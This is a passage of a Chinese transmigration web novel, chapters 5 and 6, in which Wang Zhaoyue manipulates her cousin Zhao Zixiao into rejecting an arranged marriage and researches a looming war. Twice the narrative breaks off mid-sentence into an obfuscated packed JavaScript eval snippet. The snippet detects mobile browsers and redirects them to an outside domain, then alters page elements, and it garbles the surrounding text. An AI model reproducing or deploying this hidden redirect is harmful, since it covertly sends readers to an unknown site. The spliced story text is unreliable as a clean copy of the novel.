“奴婢先说吧,”夏荷抢着开口,想哄主子开心,“奴婢今早送燕窝去姑太太住的‘清晖苑’,特意寻了个相熟的姐姐闲聊了几句。那位姐姐说,‘三表少爷在府里可是出了名的孝顺听话。姑太太管教甚严,早在他三岁上,就因怕他生身的周姨娘见识浅薄把他性子养歪了,硬是把他从姨娘院子里抱出来,挪到自己正院和嫡出的二表少爷一处起居教养,一个月只许他去看生母四回,多一回都不行。到了九岁上,又单独辟了‘松涛院’给二表少爷和三表少爷住,就为着他们兄弟俩每日卯时初刻(清晨5点)能准时起身去赵氏家学进读。’” 碧桃赶忙在一旁补充:“奴婢去时,姑太太刚领着三位表少爷给老夫人请了晨安回来。正厅里气氛可不大好,姑太太端坐上首,手里攥着把戒尺,正疾言厉色地训斥二表少爷和三表少爷昨晚在宴上‘饮酒失态’。二表少爷梗着脖子,一副浑不在意的模样,姑太太骂一句,他竟敢顶一句嘴,气得姑太太脸色铁青。倒是三表少爷,一直恭敬地垂手站着,边低声向姑太太告罪,说‘儿子知错,请母亲息怒’,边还悄悄拉扯二表少爷的衣袖,低声劝他‘二哥少说两句,莫再惹母亲生气’。” 王照月低垂着眼帘,盯着手中青瓷盏里琥珀色的茶汤,脸上表情淡淡的,仿佛波澜不惊。 碧桃和夏荷对视一眼,都以为小娘子还在为三娘子的事生气。 实则王照月心下暗叹:这位三表哥被嫡母拿捏得如此之紧,言听计从,几乎毫无主见。她该如何才能撬动这块顽石,让他鼓起勇气反抗嫡母,主动拒了这桩婚事呢? 看来,光靠王照锦去告状还不够分量。她决定等王照锦把火点起来之后,自己再亲自去“添把柴”,扇扇风。 5. 第5章 “碧桃,”王照月放下茶盏,声音带着一丝刻意的沉重,“去把我那个收在紫檀木匣子里的赤金嵌红宝的算盘找出来。待会儿,我要拿去送给三表哥。” “娘子!”碧桃吃了一惊,“那不是您十岁生辰时,老爷花重金请‘宝庆楼’巧匠特地为您打制的生辰礼么?上面的红宝石成色多好啊!您一向最是喜欢,真就舍得……送给三表少爷了?” 碧桃嘴上劝阻着,脸上却不由自主地浮现出欣慰的笑意,自家这位万事不上心的小娘子,终于开窍了,知道要投其所好,主动去讨好未来的夫婿了。 三表少爷是读书人,不善庶务,小娘子送个金算盘,可不正是提醒他,娘子擅于管家理财么?妙! 待王照月估摸着王照锦告状告得差不多了,才带着碧桃,捧着那个装着金算盘的紫檀匣子,再次来到姑母王蕴暂居的“清晖苑”。 刚走到院门口那丛翠竹旁,便撞见三表哥赵子潇送王照锦出来。 王照锦正微微低着头,侧着脸,似乎在柔声说着什么,颊边带着恰到好处的羞涩红晕。乍见王照月出现,她神情骤然一僵。 “三表哥!”王照月恍若未见王照锦,脸上瞬间绽开甜美的笑容,装作欢快地快步上前,“我来给姑母请安啦!” 赵子潇方才听完王照锦状似无意却又字字诛心地转述:“四妹妹说姑母提亲的对象是三表哥而非大表哥,言语间颇有不忿之意,还说什么‘不过是庶出’……四妹妹更是直言‘姑母为何不替嫡出的大表哥求娶’……” 字字句句都刺中了他身为庶子最敏感脆弱的心事。 再联想到昨夜自己生母周姨娘拉着他的手,哭得肝肠寸断:“我的儿!夫人她……她不敢轻易插手大少爷的婚事,更舍不得让亲生的嫡子娶商户女沾染‘铜臭’!她不过是看着咱们母子根基浅薄好拿捏,才把这桩他们都看不上眼的亲事硬塞给你啊!我的潇儿命苦……” 此刻再看到巧笑倩兮的王照月,赵子潇只觉得一股混杂着屈辱、愤怒和叛逆的火焰在胸中灼烧。 他勉强扯出一个僵硬的微笑,对王照月道:“四表妹有心了,母亲正在正厅看账,我带你过去。” 随即,他几乎是立刻转向王照锦,脸上的线条瞬间柔和下来,声音也放得格外温煦:“三表妹方才所论的‘鹊踏枝’词牌格律,见解独到。今日时辰不早,我们明日再寻个清静地方,细细探讨那首词的遣词造句可好?” 王照锦心中暗喜,面上却只矜持地朝赵子潇福了福身,柔声道:“听凭表哥安排。” 她自始至终,连眼风都没扫过王照月一下,便挺直脊背,如同骄傲的孔雀般,步履轻盈地径直离去了,只留下一阵淡淡的蔷薇水香气。 王照月随着赵子潇进入正厅时,姑母王蕴正斜倚在临窗的贵妃榻上,榻边小几上堆着厚厚一摞礼单名帖,她手中正执笔在一份洒金大红笺上勾画着。 旁边侍立的大丫鬟捧着一个打开的螺钿漆盒,里面是琳琅满目的拜帖。新点的香在错金博山炉中氤氲缭绕。显然,赵霁新擢升为杭州知州,姑母也来了杭州,各方贺礼与拜帖正源源不断送来。 “月儿快来,”王蕴闻声抬头,放下笔,脸上露出真切的笑容,拍了拍身旁的空位,“坐到姑母身边来。瞧瞧这些,都是你姑父同僚故旧送来的贺仪帖子,看得姑母眼都花了。” “照月给姑母请安,”王照月依礼福身,笑盈盈地问,“不知早上的燕窝,姑母吃着可还入口?那雪燕是今春新得的贡品,胶质最是丰盈。” “月儿真是贴心!”王蕴拉过王照月的手让她坐下,“姑母在汴梁也难得尝到这般好的,你有心了。” 她是真心喜欢这个侄女,虽然商户出身,但性格大方明朗,眼神清澈,行事也颇有章法。 相比之下,那个二房的三侄女王照锦,虽然常送些绣品去讨老太太欢心,每日请安,殷勤凑趣,但那眼神里总带着几分刻意和算计,让王蕴心中不喜。 “你大表哥想参加来年的春闱,回房温书备考去了。你二表哥嘛……” 王蕴无奈地摇头笑道,“说是要‘逛逛这杭州城,给姑母寻些汴梁没有的稀罕玩意儿’,请完安就带着小厮溜出去了。你陪姑母坐坐,说会儿话,待会儿让你三表哥陪你到园子里顽吧。” 她想着庶子赵子潇的亲事若能成,让两个孩子多接触接触也是好的。 “姑母莫信二表哥!” 王照月故意撇嘴,撒娇道,“我看分明是二表哥自己想躲懒出去玩,偏拿给姑母买东西当幌子!他一个初来乍到的,哪晓得这杭州城里哪家铺子有好东西?要论给姑母挑新奇玩意儿,那也得侄女我去才成呀!” 王照月看得出王蕴真心喜爱自己,一边在心里暗嘲自己“不知好歹”,一边逗她开心。 姑侄二人闲话片刻家长里短,王蕴毕竟有诸多账目礼单需要梳理,便以还需核对几笔紧要账目为由,让侍立一旁的赵子潇带王照月去园中逛逛。 出了正厅,沿着回廊走了几步,避开仆从耳目,王照月停住脚步,示意碧桃将捧着的紫檀匣子打开。 “三表哥,”她声音比方才在厅里更加娇软,带着刻意的亲昵,“我今日是特地给你送礼物来的呢。母亲早上还叮嘱我,‘要多和你一处说说话’。瞧,我可是把压箱底的心爱之物都拿出来了。” 她说着,从打开的匣子里取出那柄金光灿灿、镶嵌着数颗红宝石的精致算盘。阳光穿过廊柱缝隙落在算盘上,金芒与宝光交相辉映,夺人眼目。 王照月的手指在金框上流连片刻,才递过去,脸上适时地流露出十二万分的不舍。 赵子潇瞥了眼那嵌着宝石的金算盘,心中更添不喜。早闻这四表妹不通女红,不喜琴棋书画,诗词歌赋更是一窍不通,唯爱看账本,有时还抛头露面帮她父亲巡视铺子。 “四表妹有心了。只是君子不夺人所好,表妹还是收回去吧。” 赵子潇推拒道,犹豫片刻,试探着问,“表妹,我有一事请教,假若……”他踌躇着措辞,“我是说假若,母亲不替我求娶……三舅父可还会倾力相助父亲?” 他小心翼翼观察着王照月的反应,心中暗忖:四表妹虽生得玉雪可爱,是个美人胚子,但确如三表妹所言“满身铜臭之气”。 若真娶了她,将来还不能纳妾红袖添香,倒不如选嫁妆简薄的三表妹。 再说,男儿岂能依靠妻子嫁妆立身?只要他发奋读书,自己搏个前程,嫡母应也无话可说了吧?只要三舅父肯答应倾力相助,帮父亲度过难关便好。 “来了!”王照月心下暗喜,面上却显出羞恼之色:“三表哥!父亲与姑母情谊深厚,无论如何自当倾力相助。我自幼时起,爹娘便开始为我积攒嫁妆,本就打算寻个贫寒举子或需嫁妆帮衬的高门……”她似羞似恼,未再说下去。 “三表哥既不要我的礼,我也不多叨扰了。”王照月佯装气呼呼地转身离去。 赵子潇得到了想要的答案,心中开始盘算如何向父亲和嫡母开口:他想拒了与王照月的婚事,转而求娶三表妹。 此刻回到自己房中的王照锦,正绞尽脑汁作那首“鹊踏枝”。她定要将三表哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977860|177887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心拢住。 前几日她让丫鬟侍琴偷偷打听赴祖母寿宴的夫人公子,不是公子风流成性,便是夫人如嫡母般古板严苛。相较之下,姑父官职高,家中仅一妻一妾,姑母温和宽仁。 即便她将来嫁妆微薄,想来姑母将来也不会苛待于她吧? 清晨的薄雾尚未散尽,王照月便由碧桃伴着,立在了姑母王蕴居所的月洞门前。 她昨日吩咐碧桃:“务必探听清楚三位表哥每日给姑母请安的时辰。”时间紧迫,她须得每日“踩点”前来,“刺一刺”那位清高气傲的三表哥赵子潇。 她心中盘算得清楚:父亲王珏与姑母王蕴,十有八九会在祖母即将到来的寿宴前,将她与三表哥的亲事议定。 即便不立刻交换庚帖,也定会放出些风声,让满府乃至亲近的亲友都知晓两家正在相看。 否则,寿宴那日,若有哪家显赫的夫人或公子相中了她,纵使王家能寻出千百个理由婉拒,也免不了要开罪于人。父亲经商多年,心思缜密周全,断不会让这等尴尬场面发生。 同一日早上,薄雾刚化成露珠在庭院枝叶上滚动。 赵子潇一身清爽的竹青色儒衫,刚走到嫡母的门廊下,抬眼便瞧见了那道立在门旁不远处的纤细身影。 他脚步微不可察地一顿,几不可见地蹙了下眉头,随即压下心中的一丝烦躁,依着礼数拱手道:“四表妹安好,也是来给母亲请安?” 王照月唇角噙着一缕浅笑,目光坦然地打量着眼前尚显青涩的少年。 虽知这个时代的少年郎相对早熟,但眼前的赵子潇也不过十五六岁光景,搁在她前世,正是“中二”叛逆的年纪。 董事会里那些浸淫商场数十载、心思深沉如海的叔伯们,她都有把握在他们不情愿签的协议上落下名字,对付眼前这个少年郎,对她而言更是易如反掌。 “三表哥好。”王照月笑意盈盈,声音清脆,“昨日我送那金算盘,表哥不肯收,想是觉着俗气。那今日表妹做东,请三表哥去咱们家的铺子逛逛如何?但凡表哥有瞧得上眼的玩意儿,我做主送你。” 她心底暗忖:你不是厌恶我这“暴发户”的铜臭气吗?那我便再添上一把火,将这份“俗气”张扬得更彻底些。 厌烦积攒得多了,总该有爆发决堤的那一天吧? 赵子潇面色微沉,语气尽量保持着平静:“四表妹好意心领了。今日还需专心温习功课,恕难奉陪。” 他甚至微微侧身,做了个请先行的手势,指尖透着一丝不易察觉的僵硬。 两人前后脚进了正厅,里头已是一片和乐气氛。 大表哥赵子端稳重端坐,二表哥赵子卿正兴致勃勃地将昨日从市集淘来的新奇小物件一一展示给母亲王蕴看。 王照月眼波流转,顺势接过话头,绘声绘色地讲起杭州城里那些精明的商家,如何绞尽脑汁,变着花样推出各式新奇的点心、玩物,专为哄得贵人们慷慨解囊。 说着说着,她忽然转头吩咐侍立一旁的碧桃:“去,让小厮到府门外寻个伶俐的帮闲,叫他跑一趟,把城里叫得上名号的点心铺子,每家的招牌点心都买一份送来,给姑母尝尝鲜。” 吩咐完点心一事,她又自然地挪步到王蕴身侧,带着几分娇憨亲昵道:“姑母,您在看账本?让我瞧瞧吧,不是我夸口,我这算盘珠子拨拉得,比父亲还快几分呢!” 说话间,她用眼角余光悄然扫了一眼不远处的赵子潇,果然见他眉头拧得更紧,眼底的不耐几乎要溢出来。王照月心中满意,知道今日的“刺探”已然奏效。 6.第 6 章 赵子潇到王家的第四日,王照月依旧如同掐准了时辰般出现在姑母门前。 这一次,赵子潇并未第一时间留意到她,他正独自站在廊柱旁,微垂着眼睑,指尖无意识地摩挲着袖口,仿佛还沉浸在昨日下午王照锦遣小丫鬟悄悄送来的那阙新词的婉约意境中。 王照月准备今日拿来做文章的,则是筹办祖母寿宴的开支。 寿宴虽由大伯母统筹操办,可一应花销银钱,皆是父亲王珏所出。 林氏这几日也是脚不沾地,天不亮便出门,掌灯时分才能回来,日日要在外奔波三四个时辰,指挥着管家小厮四处采买贵重器物食材,又吩咐身边几个识字的大丫鬟日夜核对流水般的账目。 每每给王蕴请完安,“刺”完赵子潇,王照月便立即回到母亲林氏身边帮手料理账目。 她见府中管家采买毫无章程,全凭一时所需,缺什么便临时再寻林氏支取银钱,效率低下且易生纰漏。 她当即命小厮将已购回的物品逐项清点,详细登记造册;又让管家列出寿宴所需的所有物件清单,务必详尽无遗,再据此仔细查遗补漏。 这还没完,她更向母亲林氏建言道:“母亲,女儿有个想法。日后家中一应用度开销,不如立个规矩:每月月初、每年年初,都责令大管家先行呈报预算开支。实际花费,每月不可超出预算一成,每年不可超出一成半。倘若有特殊情由,必须另行申请支取,并需在账册上清晰记录缘由,说明此等情由再现之可能。倘若连续三个月皆因所谓的‘特殊情由’而超□□么大管家及所有经手采买的下人,便要扣罚一个月的月例银子。” 为了在三表哥面前进一步强化自己对账目管理的“痴迷”形象,王照月特意寻了个机会,在王蕴面前得意地将自己这套改革之法炫耀了一番。 彼时,三位表哥尚未离去,大表哥赵子端听到“预算”二字,眼睛蓦然一亮。 他当即上前一步,对着王照月郑重其事地作了个揖,神情是罕见的肃穆与真诚:“敢问四表妹,此法精妙,不知源自何处圣贤经典?表妹此法,与前太常寺卿章衡公在其名篇《干为金赋》中所论的‘量入为出,预为之备’的精义,实有异曲同工之妙!稍后不知可否拨冗,容表兄细细讨教一番?” 乍闻“章衡”与《干为金赋》,王照月如遭雷击,愣在当场。这个世界也有章衡? 那“靖康之乱”是否也会发生?在“靖康之乱”之前,江南那场惨绝人寰、百万生灵涂炭的民变是否也……王照月心头警铃大作,瞬间心乱如麻。 在听闻“内造局”这个熟悉又陌生的机构名称时,在哥哥书房那本《太平寰宇记》映入眼帘时,她就该警醒! “四表妹?四表妹?可是不便?那表兄便不叨扰了。”赵子端见她愣怔不答,只道她确有难言之隐。 王照月抬头,才发现二表兄、三表兄已请安离去,只剩赵子端唤她。 “请大表哥见谅,”王照月勉强稳住心神,“照月确需帮母亲核对账册,恐难有闲暇与大表哥探讨。适才所言,不过是照月平日看些杂书,胡乱摸索所得,实在当不得大表哥‘请教’二字。” 此刻,她只想立刻飞奔回自己的小院,将所能寻到的所有史书方志翻个底朝天,更要绞尽脑汁思索,倘若那场席卷江南的战乱当真不可避免,她该如何才能保全全家上下数十口的性命! 什么“中央预算”,什么讨教探讨,早已被她抛到了九霄云外。 王照月几乎是用最快的速度匆匆赶回自己居住的院子。 一进门,她便屏退了旁人,竭力在纷乱的原主记忆碎片中搜寻关于当朝皇帝、朝局的任何片段线索。 接着,她又如同风暴过境般,将闺房中书架和哥哥书房里所有能找到的史籍、地方志书尽数翻检出来,堆满了桌案和榻几。 她埋头其中,一目十行,神情专注得近乎执拗。 这一看,便从太阳初升直看到暮色四合,连午膳也只由碧桃端来,心不在焉地扒拉了两口便撂下了。 碧桃与夏荷面面相觑,只当她是忧心与三表哥的婚事不顺,还在一旁温言细语地低声劝慰了好几句。 直到夜色浸透了窗纸,王照月紧绷的心弦才稍稍松弛下来。 她揉着酸涩的双眼,长长吁出一口气。梳理完原主的记忆,又快速翻阅了几本关键典籍,总算拼凑出一个稍显安心的图景。 据原主记忆所回想,父亲与伯父闲谈时曾忧心忡忡地提及:“今上龙体日渐衰颓,精气神大不如前,太子自去岁便已开始监国理政。太子殿下素来以俭朴仁厚著称,一贯反对横征暴敛、苛待百姓之举,近来正着手步步剪除权相与内侍宦官在江南富庶之地盘根错节的势力。” 正因如此,朝廷才会下诏,调任以清廉正直闻名的姑父赵霁为杭州知州。但也正是因为太子将权相安插在江南的党羽逐步贬黜,那位奸相才借机抓住赵霁恩师的些许错处,逼迫其致仕还乡,更将伯父的同窗好友一纸贬书发配到了瘴疠横生的岭南。 万幸的是,这个朝代在位的老皇帝,看来并不似历史上的宋徽宗那般长寿。 若再任由其横征暴敛两年,民怨沸腾,到时大规模的暴乱必定在所难免。如此说来,只要老皇帝尽快驾崩、太子顺利继位,是否就能避开那场席卷江南的血色战祸? 王照月心头稍定,却不敢过分乐观。她暗自盘算着,待成功推掉与三表哥这桩“拉郎配”的婚事后,定要腾出手来,秘密多做几手防备战乱的应急预案。 她不由得暗自苦笑:旁人穿越,不是自带点石成金的金手指,便是拥有保命的随身空间,再不济也能顺风顺水当个被人捧在手心的团宠,或是只负责美貌如花的娇妻。 偏生轮到她,既要殚精竭虑地应付这强扭的婚事,又得忧心如焚地防备着随时可能爆发的乱世烽烟,日日如履薄冰,心思耗尽。 愁绪如藤蔓缠绕心头,日子却仍推着人向前行。 次日清晨,王照月依旧打起精神,打着请安的旗号准时出现在姑母门前。 待到赵家的三位表哥陆续告辞出来,她又刻意寻了个由头,与落在最后的赵子潇独处了片刻。 她先是若无其事地提起自家商铺近日新进了一批价值千金的南洋香料,语气带着几分不经意的炫耀;接着又巧妙地话锋一转,将话题引向大表哥赵子端,言辞间极尽溢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979982|177887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美之能事,说他如何博学多才、贯通古今,上知天文下晓地理,甚至连府中管家理账这般庶务都洞若观火,所言所行皆有章法。 今日已是王照月穿越而来的第六日了,后日便是祖母寿宴。 因此当晚饭时分被王珏和林氏唤去时,她毫不意外。 想必父母已与姑父姑母商议妥当,明日便要大致定下她与赵子潇的婚事。 这几日下来,王照月行事说话已渐渐显露出不同以往的果决与见识,虽尚不至于让王珏夫妇起疑,却也让她比初来乍到时放松舒展了许多。 此刻,她心中已然下定决心,要在今晚的谈话中,试探着能否主动将这桩令人憋闷的亲事推开。 饭毕,侍女悄然撤下杯盘。当王珏夫妇带着温和的笑意,询问女儿对三表哥赵子潇的印象如何时,王照月秀眉微蹙,脸上适时地露出为难之色:“父亲、母亲,女儿并非有意诋毁三表哥为人。只是……每次他见到女儿都冷面相向,且与女儿志趣不合,实在难以相处。" 她轻扯林氏衣袖,柔声央求:"父亲、母亲,女儿可否不嫁三表哥?" 摇曳的烛光下,林氏看着女儿微仰的脸庞,眼中满是怜爱。 她抬手轻抚王照月鬓边柔滑的发丝,语气温婉地劝解道:“傻月儿,夫妻相处之道,贵在相敬如宾,各司其职。待你出阁之后,侍奉公婆、主持中馈、生儿育女,桩桩件件便够你操劳的了,哪里还有闲暇去谈论闺阁女儿时的闲情志趣?男子亦是要以读书求取功名立业为重的,即便如你父亲这般当年未能学有所成,也要终日在外奔波,为这偌大家业辛苦经营。” 在她看来,这门亲事简直是天作之合,妹夫赵霁是进士出身,前程可期;小姑子王蕴更是从小看着月儿长大,真心疼爱,绝非刻薄难处的婆婆;赵子潇虽是庶出,但性情孝顺,读书勤勉,相貌也颇端正。 她只当女儿是年纪尚小,还未懂得人情世故,待日后年岁渐长,经历多了,自然便会明白父母今日的苦心安排。 一旁的王珏看着女儿倔强又带着祈求的眼神,沉沉叹了口气,眉宇间也染上几分无奈:“月儿,为父并非要强逼于你。只是今日午后,我与你姑父已然言明,‘无论月儿日后是否过门,我王珏都会鼎力相助,绝无二话’。谁知你姑父闻言,却是连连摇头叹息道:‘三兄若不让月儿嫁过来,我这张老脸,又如何好意思再劳烦三兄倾囊相助?罢了罢了,看来……也只能早早辞了这官儿,以求保住身家性命了罢。’唉!” 王珏重重叹息一声,烛光映着他眼底的复杂,“你姑父为人,为官清廉是毋庸置疑的,只是这性子……委实太过谨慎多疑了些。他这般说法,为父……为父也不好过分相强啊。” 王照月心下了然:姑父生性胆小多疑,唯有结为姻亲方能取信。 她不便再争,好在午后已命小莲给王照锦送去"挑衅书"。以王照锦的性子,定会立即向赵子潇哭诉。明日且看二人反应,若赵子潇也反抗不成,横竖距成婚尚早,日后再寻机退亲不迟。 临睡前,王照月仍在思忖:该如何说服父亲让她参与家中生意?无论身处哪个世界,财物越多,自主之权便越大。